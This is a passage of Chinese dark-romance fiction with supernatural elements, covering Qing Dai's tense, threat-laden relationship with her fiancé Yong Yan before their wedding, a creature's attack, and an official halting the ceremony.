卿岱换下婚纱出来的时候,雍衍不在,她刚取下一边的耳坠,有人跪在她的身边:“少夫人,求您救救我儿子。” 卿岱看向那个穿着侍者服装,但气质明显更像上位者的女人:“我应该怎么帮你们?”她一开口,旁边的保镖立刻没再上前,只站在原地待命。 女人模样狼狈,话语却很清晰:“我的儿子叫沈容,他不是故意打扰到您的,只是太想讨好雍野小少爷,做了糊涂事,求您帮他跟雍少爷求求情,饶他一命。” “我替他跟雍衍求情,让雍衍不要杀他?”卿岱放下了耳坠,“你觉得雍衍不会连我一起杀掉吗?” 女人哽了一下,接着嗫嚅地摇头:“不会的,雍少爷对你那么好,连婚礼都准备得这么隆重,他一定很爱你,不会……” 卿岱没再看她:“抱歉,我帮不了你。” “可你只要开口说两句话,试一下就能救下我儿子,你……”女人还想说什么,被人卡着脖子拎了出去。 经过门口的时候,她看到雍衍站在那里。 他连余光都没有放在奋力挣扎的她身上,却让她感觉到被死亡阴影笼罩的绝望,这虽然是她有所准备的结果,是她自己答应的那个人,同意用这种冒险的方式,拿自己的命换她儿子的命,但还是控制不住地颤抖起来。 “你觉得我会杀掉你?像杀死别人一样?”雍衍的气息越来越阴冷了,贴在她的耳边,像有蛇慢慢爬过,卿岱想要偏头,却没能做出这个动作,雍衍桎梏住了她,她抬手的动作同样也在一开始便被扼杀。 她整个人都被他压在柔软的被子上。 她没太挣扎,安静地看着他:“你不会吗?” 雍衍直起身,拉高他看她的视角,按照他最常出现在别人面前的姿态,睥睨着她的眼睛,沉默片刻后回答:“当然会。” 他一手握着她的两只手腕慢慢按在她的头顶,另一只手将她的碎发拨到耳后,动作有多温柔,说出的话就有多惊悚:“比如现在,我就很想。”他的手指停在她颈侧的脉搏上。 它的跳动没有任何变化,让他血液里的嗜血因子更加躁动。 雍衍垂着眼深深地看着卿岱,又抬手把她的眼睛捂住,俯下身,他的唇在她的身上执行缱绻的凌迟,不放过每一寸,恨不得将她所有血肉都剥离下来,生吞入腹。 她懂得如何控制他的情绪。 他也懂得如何处决她。 他会履行诺言,今晚一定要将她杀死在床上,除非她发出濒死的求饶。 雍衍最终还是没能做到,卿岱只是伏在他颈间,在他耳边很轻地吸了一口气,甚至都没叫他轻一些,他便放过了她,无视要撕碎血管的胀痛,把她抱进浴室里。 卿岱在雍衍清理的时候就睡过去了,醒来的时候,身边没有呼吸声,她去摸旁边的手却被雍衍握住,他没说话,只是又将手指慢慢地推进她的指缝间。 —— 试穿婚纱是卿岱为婚礼做的唯一一件事,剩下的都是雍衍来安排,她可以专心地做自己的事情。 雍衍不需要去现场的时候,会在她身边处理工作。 越临近婚礼举行的日子,就越平静,但当夜幕降临,卿岱能在雍衍沉默的动作间,聆听到他每时每刻都在变得更加兴奋激烈的血液流动声。 因为婚礼,兴奋的并不只有雍衍,卿岱感觉到她周围潜伏的暗影在悄悄收网,雍衍应该也察觉到了什么,看起来没什么变化,但负责封锁小楼的人在悄悄增多。 除此以外,他还给了卿岱一个护身符。 很特别的护身符,卿岱看着手心上的黑色半圆片,说黑色并不准确,稍微一动它,就算没有光,它也能反射出斑斓绚烂的影子,上面还有雍衍送她的香料的味道。 卿岱想凑近闻一下它的香味,雍衍却拿 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卿岱拿起盛着黑色蝴蝶尸体的托盘,打算将它拿去风干,手却停下来,她看着托盘。 黑色的蝴蝶翅膀在轻轻地颤动。 幅度很慢很慢地一点点加大,从让人怀疑是不是错觉到让人亲眼看到它身下真正的黑蝶尸体,确认一切都是真实发生的,这之间持续了足足一分钟的时间。 将诡异惊悚的氛围拉到满格。 卿岱看着伏在黑蝶尸体上扇动蝶翼的黑色蝴蝶,有什么东西以相同的频率在墙上缓缓扇动。 她抬起眼,看到两片巨大的翼状黑影投在墙上,按照它的位置判断,这双蝶翼的主人应该就在她的身后。 那只小的黑色蝴蝶爬上了她的手指,与此同时,尖锐细长,覆满片甲的爪子也从后面捂住了卿岱的嘴巴。 冷冽好听的声音无比森然:“雍衍怎么把你自己留下了?” —— 一身制服,挺拔料峭的秦舟珩看着带人走向他的雍衍。 和特殊部门的人对峙,雍家也丝毫没有忌惮。 秦舟珩让属下原地待命,看着雍衍在他面前站定,斯文而平静地通知:“抱歉,雍先生,事态紧急,需要全面封锁排查岛上的所有人员,暂停一切活动,其中包括,您明天的婚礼。”